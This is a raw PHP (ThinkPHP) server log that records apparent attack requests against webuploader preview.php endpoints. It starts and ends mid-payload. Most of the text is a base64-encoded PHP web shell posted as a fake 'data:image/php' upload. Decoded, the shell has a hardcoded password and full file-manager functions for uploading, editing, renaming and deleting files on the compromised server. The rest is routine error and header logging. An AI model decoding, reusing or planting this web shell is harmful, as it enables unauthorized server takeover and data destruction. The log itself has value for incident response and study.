JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:53+08:00 ] 119.42.146.234 POST 59.110.137.245/login/webuploader/preview.php [运行时间:0.002454s] [吞吐率:407.53req/s] [内存消耗:145.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'login', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZm' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:55+08:00 ] 119.42.146.234 POST 59.110.137.245/static/manage/hui/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002861s] [吞吐率:349.53req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'manage', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHV